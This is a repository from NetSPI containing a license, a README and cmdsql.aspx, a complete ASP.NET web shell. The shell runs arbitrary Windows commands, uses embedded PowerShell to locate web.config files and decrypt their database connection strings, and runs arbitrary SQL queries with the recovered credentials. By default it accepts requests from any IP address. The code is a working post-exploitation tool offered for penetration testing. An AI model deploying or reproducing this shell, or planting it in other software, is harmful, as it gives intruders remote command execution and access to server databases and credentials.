├── LICENSE
├── README.md
└── cmdsql.aspx


/LICENSE:
--------------------------------------------------------------------------------
 1 |  NetSPI Free Code Evaluation and Limited Use License Agreement (“License Agreement”)
 2 | Copyright 2013 Network Security Professionals, Inc. (all rights reserved)
 3 | Network Security Professionals, Inc. (“NetSPI”) hereby grants you a limited, nonexclusive, royalty free United States license to use the code and associated documentation files to which this License Agreement is appended or with which this License Agreement is published or linked (the "Software") to review, copy, publish and redistribute the Software solely for the purposes of using the Software as a reference, in read only form, for (i) evaluating potential vulnerabilities in other software or hardware, (ii) public commentary on such vulnerabilities, and (iii) educational use related to (i) and (ii), PROVIDED THAT no fee may be charged by you or your company to any person or entity for the uses described in (i), (ii) or (iii).  This License Agreement specifically excludes any rights for you and/or your company to modify, adapt, license, sublicense, prepare derivative works of and/or sell copies of the Software, all of which are reserved solely to NetSPI.  The license granted to the Software by this License Agreement is subject to the following conditions:
 4 | •	Redistributions of source code must retain the terms of this License Agreement and the copyright information listed herein.
 5 | •	Redistributions in binary form must reproduce the terms of this License Agreement and the copyright information listed herein in the documentation and/or other materials provided with the distribution.
 6 | •	Neither the names of NetSPI, its employees, contractors or vendors nor the names of its contributors may be used to endorse or promote activities described in the first sentence of this License Agreement without the prior written permission of NetSPI.  You agree not to assert any rights in the Software which are inconsistent with the terms of this License Agreement, including (but not limited to) any claim that you or your company are the author or owner of the Software.
 7 | •	If you modify, adapt or prepare derivative works of the Software (all of which are a violation of the terms of this License Agreement), you agree that NetSPI shall, without any further action by you or your company, own all rights in such modifications, adaptions or derivative works in the Software, all of which shall be considered created by you or your company as a “work made for hire” for NetSPI.
 8 | 
 9 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL NETSPI, ITS OFFICERS, DIRECTORS, SHAREHOLDERS, EMPLOYEES, CONTRACTORS OR VENDORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER ARISING IN CONTRACT, TORT OR OTHERWISE, FOR OR ARISING FROM, OR IN CONNECTION WITH, THE SOFTWARE OR THIS LICENSE.  Except for the limited rights granted to you and your company in this License Agreement, NetSPI reserves to itself all copyright, trademark, patent, trade secret or other intellectual property rights of any kind in the Software, whether arising under US law or otherwise.
10 | 
11 | This License Agreement becomes binding on you and your company upon your download, review or other use of the Software. If you do not accept the terms of this License Agreement, do not download, review or make any other use of the Software.  For purposes of this License Agreement, “your company” means any organization or undertaking for which you are an owner, employee or contractor at the time you access and/or use the Software.
12 | This License Agreement shall expire immediately if you (i) make any claim or institute any proceeding (including, but not limited to, litigation) against NetSPI for or arising from the Software or this License Agreement (including, without limitation, a cross-claim or counterclaim in a lawsuit), or (ii) you breach any term of this License Agreement.
13 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | ### Scripting Information
 2 | * Name: cmdsql.aspx
 3 | * Author: Antti Rantasaari, NetSPI - 2013
 4 | * Stylesheets: Scott Sutherland (@nullbind)
 5 | * Blog: https://blog.netspi.com/adding-powershell-to-web-shells-to-get-database-access/
 6 | 
 7 | ### Description
 8 | 
 9 | cmdsql.aspx is a webshell that can be used for the following tasks:
10 | * Execute operating system commands
11 | * Parse web.config files for connection strings (based on root directory)
12 | * Execute MSSQL queries using connection strings recovered from web.config files
13 | 
14 | ### IP Address Filter
15 | The webshell reads the IP address of the remote host for each incoming request and compares it to a hardcoded list of allowed IPs in order to determine whether or not the request should be processed. By default, all IP addresses are allowed access to the webshell. To restrict access, modify the appropriate line in cmdsql.aspx before deployment by referring to the examples below:
16 | * Allow all IP addresses:  
17 | `Dim strAllowedIPs As String = "*"`
18 | * Only allow a specific IP address:  
19 | `Dim strAllowedIPs As String = "10.1.1.100"`
20 | * Only allow a specific set of IP addresses (use a comma-separated list when entering multiple IPs):  
21 | `Dim strAllowedIPs As String = "127.0.0.1,192.168.1.100,10.1.1.100"`
22 | 
23 | ### Notes
24 | * The command execution code is based on the old cmd.aspx from fuzzdb - http://code.google.com/p/fuzzdb/
25 | 
26 | ### Screen Shots
27 | * Operating system command execution.  
28 | ![alt tag](https://blog.netspi.com/wp-content/uploads/2013/04/Antti_Powershell_Web_Config_Parsing.png)
29 | * Parse web.config files.  
30 | ![alt tag](https://blog.netspi.com/wp-content/uploads/2013/04/Antti_Powershell_SQL_Query_Execution.png)
31 | * Execute MSSQL queries using recovered connection strings.  
32 | ![alt tag](https://blog.netspi.com/wp-content/uploads/2013/04/Antti_Powershell_The_Code.png)
33 | 
34 | 
35 | 
36 | 


--------------------------------------------------------------------------------
/cmdsql.aspx:
--------------------------------------------------------------------------------
  1 | <!-- Web shell - command execution, web.config parsing, and SQL query execution -->
  2 | 
  3 | <!-- Command execution - Run arbitrary Windows commands -->
  4 | <!-- Web.Config Parser - Extract db connection strings from web.configs (based on chosen root dir) -->
  5 | <!-- SQL Query Execution - Execute arbitrary SQL queries (MSSQL only) based on extracted connection strings -->
  6 | 
  7 | <!-- Antti - NetSPI - 2013 -->
  8 | <!-- Thanks to Scott (nullbind) for help and fancy stylesheets -->
  9 | <!-- Based on old cmd.aspx from fuzzdb - http://code.google.com/p/fuzzdb/ -->
 10 | 
 11 | <%@ Page Language="VB" Debug="true" %>
 12 | <%@ import Namespace="system.IO" %>
 13 | <%@ import Namespace="System.Diagnostics" %>
 14 | 
 15 | <script runat="server">      
 16 | 
 17 | Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
 18 |   Dim ipAddress As String = Request.UserHostAddress
 19 | 
 20 |   If String.IsNullOrEmpty(ipAddress) Then
 21 |     Call DenyAccess()
 22 |   Else
 23 |     Dim strAllowedIPs As String = "*"
 24 | 
 25 |     strAllowedIPs = Replace(Trim(strAllowedIPs), " ", "")
 26 |     Dim arrAllowedIPs = Split(strAllowedIPs, ",")
 27 |     Dim match As Integer = Array.IndexOf(arrAllowedIPs, ipAddress)
 28 | 
 29 |     If strAllowedIPs <> "*" And match < 0 Then
 30 |       Call DenyAccess()
 31 |     End If
 32 |   End If
 33 | End Sub
 34 | 
 35 | 
 36 | Protected Sub DenyAccess()
 37 |   Response.Clear
 38 |   Response.StatusCode = 403
 39 |   Response.End
 40 | End Sub
 41 | 
 42 | 
 43 | Protected Sub RunCmd(sender As Object, e As System.Web.UI.WebControls.CommandEventArgs)
 44 |   Dim myProcess As New Process()            
 45 |   Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)            
 46 |   Dim titletext As String
 47 |   myProcessStartInfo.UseShellExecute = false            
 48 |   myProcessStartInfo.RedirectStandardOutput = true            
 49 |   myProcess.StartInfo = myProcessStartInfo
 50 |   
 51 |   if (e.CommandArgument="cmd") then
 52 |     myProcessStartInfo.Arguments=xcmd.text 
 53 |     titletext = "Command Execution"	
 54 |   else if (e.CommandArgument="webconf") then
 55 |     myProcessStartInfo.Arguments=" /c powershell -C ""$ErrorActionPreference = 'SilentlyContinue';" 
 56 |     myProcessStartInfo.Arguments=myProcessStartInfo.Arguments + "$path='" + webpath.text + "'; write-host ""Searching for web.configs in $path ...`n"";"
 57 |     myProcessStartInfo.Arguments=myProcessStartInfo.Arguments + "Foreach ($file in (get-childitem $path -Filter web.config -Recurse)) { Try { $xml = [xml](get-content $file.FullName); } Catch { continue; } "
 58 |     myProcessStartInfo.Arguments=myProcessStartInfo.Arguments + "Try { $connstrings = $xml.get_DocumentElement(); } Catch { continue; } "
 59 |     myProcessStartInfo.Arguments=myProcessStartInfo.Arguments + "if ($connstrings.ConnectionStrings.encrypteddata.cipherdata.ciphervalue -ne $null) "
 60 |     myProcessStartInfo.Arguments=myProcessStartInfo.Arguments + "{ $tempdir = (Get-Date).Ticks; new-item $env:temp\$tempdir -ItemType directory | out-null; copy-item $file.FullName $env:temp\$tempdir;"
 61 |     myProcessStartInfo.Arguments=myProcessStartInfo.Arguments + "$aspnet_regiis = (get-childitem $env:windir\microsoft.net\ -Filter aspnet_regiis.exe -recurse | select-object -last 1).FullName + ' -pdf ""connectionStrings"" ' + $env:temp + '\' + $tempdir;"
 62 |     myProcessStartInfo.Arguments=myProcessStartInfo.Arguments + "Invoke-Expression $aspnet_regiis; Try { $xml = [xml](get-content $env:temp\$tempdir\$file); } Catch { continue; }"
 63 |     myProcessStartInfo.Arguments=myProcessStartInfo.Arguments + "Try { $connstrings = $xml.get_DocumentElement(); } Catch { continue; }"
 64 |     myProcessStartInfo.Arguments=myProcessStartInfo.Arguments + "remove-item $env:temp\$tempdir -recurse;} "
 65 |     myProcessStartInfo.Arguments=myProcessStartInfo.Arguments + "Foreach ($_ in $connstrings.ConnectionStrings.add) { if ($_.connectionString -ne $NULL) { write-host ""$file.Fullname --- $_.connectionString""} } }"""
 66 | 	titletext = "Connection String Parser"	
 67 |   else if (e.CommandArgument="sqlquery") then
 68 |     myProcessStartInfo.Arguments=" /c powershell -C ""$conn=new-object System.Data.SqlClient.SQLConnection(""""""" + conn.text + """"""");"
 69 |     myProcessStartInfo.Arguments=myProcessStartInfo.Arguments + "Try { $conn.Open(); }"
 70 |     myProcessStartInfo.Arguments=myProcessStartInfo.Arguments + "Catch { continue; }"
 71 |     myProcessStartInfo.Arguments=myProcessStartInfo.Arguments + "$cmd = new-object System.Data.SqlClient.SqlCommand("""""""+query.text+""""""",$conn);"
 72 |     myProcessStartInfo.Arguments=myProcessStartInfo.Arguments + "$ds=New-Object system.Data.DataSet;"
 73 |     myProcessStartInfo.Arguments=myProcessStartInfo.Arguments + "$da=New-Object system.Data.SqlClient.SqlDataAdapter($cmd);"
 74 |     myProcessStartInfo.Arguments=myProcessStartInfo.Arguments + "[void]$da.fill($ds);"
 75 |     myProcessStartInfo.Arguments=myProcessStartInfo.Arguments + "$ds.Tables[0];"
 76 |     myProcessStartInfo.Arguments=myProcessStartInfo.Arguments + "$conn.Close();"""
 77 | 	titletext = "SQL Query Result"	
 78 |   end if  
 79 |   myProcess.Start()            
 80 | 
 81 |   Dim myStreamReader As StreamReader = myProcess.StandardOutput            
 82 |   Dim myString As String = myStreamReader.Readtoend()            
 83 |   myProcess.Close()            
 84 |   mystring=replace(mystring,"<","&lt;")            
 85 |   mystring=replace(mystring,">","&gt;")
 86 |   history.text = result.text + history.text
 87 |   result.text= vbcrlf & "<p><h2>" & titletext & "</h2><pre>" & mystring & "</pre>" 
 88 | End Sub
 89 | 
 90 | </script>
 91 | 
 92 | <html>
 93 | <head>
 94 | <style>
 95 | <style>
 96 |  body {
 97 |   background-image: url("images/repeat.jpg");
 98 |   background-repeat: repeat;
 99 |  }
100 |  
101 | .para1 {
102 | 	margin-left:30px;
103 | 	vertical-align:top;
104 | }
105 | .para2 {
106 | 	margin-left:30px;	
107 | }
108 | .para3 {
109 | 	margin-left:20px;
110 | 	margin-top:30px;
111 | 	vertical-align:top;
112 | 	background-image:url('images/post_middle.jpg');
113 | }
114 | 
115 | .norep {
116 | 	background-image:url('images/repeat2.jpg');
117 | 	background-repeat:y-repeat;
118 | 	
119 | }
120 | 
121 | .menu{
122 | margin-right:56px;
123 | margin-bottom:40px;
124 | vertical-align: top;
125 | font-weight: bold;
126 | font-family: Verdana, Arial, Helvetica, sans-serif;
127 | font-size: 12px;
128 | }
129 | 
130 | .tbl_main_bdr {
131 | 	border: medium solid #333333;
132 | }
133 | 
134 | .tbl_inside_bdr {
135 | 	border: thin solid #666666;
136 | }
137 | .style3 {
138 | 	margin-left: 20px;
139 | 	vertical-align: top;
140 | 	font-weight: bold;
141 | 	font-family: Verdana, Arial, Helvetica, sans-serif;
142 | 	font-size: 18px;
143 | }
144 | 
145 | .post{
146 | background-repeat:no-repeat;
147 | background-image:url('images/post_top.jpg');
148 | }
149 | 
150 | .style12 {color: #00CC00}
151 | 
152 | a:link{
153 | text-decoration:none;
154 | COLOR: #000000;
155 | }
156 | 
157 | a:hover{
158 | 
159 | text-decoration:underline;
160 | }
161 | 
162 | .htext{
163 | margin-right:20px;
164 | }
165 | 
166 | 
167 | .style17 {font-size: 9px}
168 | .style20 {font-family: Arial, Helvetica, sans-serif}
169 | .style21 {font-size: 24px}
170 | .style22 {
171 | 	font-family: Arial, Helvetica, sans-serif;
172 | 	font-size: 24px;
173 | 	font-weight: bold;
174 | }
175 | </style>
176 | </head>
177 | <body>   
178 | 
179 | <form runat="server"> 
180 | 	<table border="0" cellspacing="4" cellpadding="4" width="750">
181 | 		<tr>
182 | 		 <td>
183 | 		 <img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJYAAAAzCAYAAAB10PG/AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAADKGlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS42LWMxMzggNzkuMTU5ODI0LCAyMDE2LzA5LzE0LTAxOjA5OjAxICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOnhtcE1NPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvbW0vIiB4bWxuczpzdFJlZj0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlUmVmIyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoTWFjaW50b3NoKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDoyMzlEMDE3OTM4Q0UxMUU3OTlDOEYyQUM4MjY3RDVDRiIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDoyMzlEMDE3QTM4Q0UxMUU3OTlDOEYyQUM4MjY3RDVDRiI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjIzOUQwMTc3MzhDRTExRTc5OUM4RjJBQzgyNjdENUNGIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjIzOUQwMTc4MzhDRTExRTc5OUM4RjJBQzgyNjdENUNGIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpS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'/>
184 | 		 </td>
185 | 		 <td valign="bottom" align="right">
186 | 		 <strong><span class="style21"><span class="style20"><font color="333333">Database Connection Web Shell</font></span></span></strong></a>
187 | 		 </td>
188 | 		</tr>
189 | 	</table>	
190 | 	<table border="0" cellspacing="4" cellpadding="4">
191 | 		<tr>
192 | 			<td valign="middle" width ="100" bgcolor="#CE112D" align="center">
193 | 				<strong><span class="style21"><span class="style20">STEP 1</span></span></strong></a><Br>
194 | 			</td>	
195 | 			<td valign="middle" width ="150"  bgcolor="#A0A0A0" align="center">
196 | 				<strong>ENTER OS COMMANDS</strong></a><Br>
197 | 			</td>			
198 |             <td valign="top" width="350" bgcolor="#CCCCCC" align="left">				
199 | 				<asp:Label id="L_p" runat="server">Application:</asp:Label><br>
200 | 				<asp:TextBox id="xpath" width="350" runat="server">c:\windows\system32\cmd.exe</asp:TextBox><br><br>
201 | 				<asp:Label id="L_a" runat="server">Arguments:</asp:Label><br>        
202 | 				<asp:TextBox id="xcmd" width="350" runat="server" Text="/c net user">/c net user</asp:TextBox><br>
203 | 			</td>  
204 | 			<td valign="middle"  bgcolor="#CCCCCC" align="center" onMouseOver="style.backgroundColor='#CCFF99';" onMouseOut="style.backgroundColor='#CCCCCC'">
205 | 				<strong><span class="style21"><span class="style20">RUN</span></span></strong><Br>
206 | 				<asp:Button id="Button" OnCommand="RunCmd" CommandArgument="cmd" runat="server" Width="100px" Text="RUN"></asp:Button>
207 | 			</td>
208 |         </tr>                     
209 | 		<tr>
210 | 			<td valign="middle" width ="100" bgcolor="#666666" align="center">
211 | 				<strong><span class="style21"><span class="style20">STEP 2</span></span></strong></a><Br>
212 | 			</td>	
213 | 			<td valign="middle" width ="150" bgcolor="#A0A0A0" align="center">
214 | 				<strong>PARSE WEB.CONFIGS FOR CONNECTION STRINGS</strong></a><Br>
215 | 			</td>			
216 |             <td valign="top" width="350" bgcolor="#CCCCCC" align="left">
217 | 				Path to web directories:<br>
218 | 				<asp:TextBox id="webpath" width="350" runat="server" Text="c:\inetpub">C:\inetpub</asp:TextBox>		
219 | 			</td>  
220 | 			<td valign="middle" bgcolor="#CCCCCC" align="center" onMouseOver="style.backgroundColor='#CCFF99';" onMouseOut="style.backgroundColor='#CCCCCC'">
221 | 				<strong><span class="style21"><span class="style20">RUN</span></span></strong><Br>
222 | 				<asp:Button id="WebConfig" OnCommand="RunCmd" CommandArgument="webconf" runat="server" Width="100px" Text="RUN"></asp:Button>
223 | 			</td>
224 |         </tr>                     
225 | 		<tr>
226 | 			<td valign="middle" width ="100" bgcolor="#CCCCCC" align="center">
227 | 				<strong><span class="style21"><span class="style20">STEP 3</span></span></strong></a><Br>
228 | 			</td>	
229 | 			<td valign="middle" width ="150" bgcolor="#A0A0A0" align="center" >
230 | 				<strong>EXECUTE SQL QUERIES</strong></a><Br>
231 | 			</td>
232 | 			<td valign="top" bgcolor="#CCCCCC" align="left">
233 | 				Connection Strings:<br> 
234 | 				<asp:TextBox id="conn" runat="server" Text="Data Source=localhost\sqlexpress2k8;User ID=netspi;PWD=ipsten" width="350">Data Source=localhost\sqlexpress2k8;User ID=netspi;PWD=ipsten</asp:TextBox><br><br>
235 | 				SQL query:<br> 
236 | 				<asp:TextBox id="query" runat="server" Text="select @@version;" width="350">select @@version;</asp:TextBox> 			
237 | 			</td>
238 | 			<td valign="middle" bgcolor="#CCCCCC" align="center" onMouseOver="style.backgroundColor='#CCFF99';" onMouseOut="style.backgroundColor='#CCCCCC'">
239 | 				<strong><span class="style21"><span class="style20">RUN</span></span></strong><Br>
240 | 				<asp:Button id="SqlQuery" OnCommand="RunCmd" CommandArgument="sqlquery" runat="server" Width="100px" Text="RUN"></asp:Button>
241 | 			</td>
242 |         </tr>                     
243 |     </table>	
244 | </form>
245 | 	
246 | <table border="0" cellspacing="4" cellpadding="4">
247 | 	<tr>
248 | 		<td valign="top" width ="735" bgcolor="#CCCCCC" align="left">
249 | 			<asp:Label id="result" runat="server"></asp:Label>
250 | 			<font color="555555"><asp:Label id="history" runat="server"></asp:Label></font>
251 | 		</td>
252 | 	</tr>
253 | </table>
254 | </body>
255 | </html>
256 | 


--------------------------------------------------------------------------------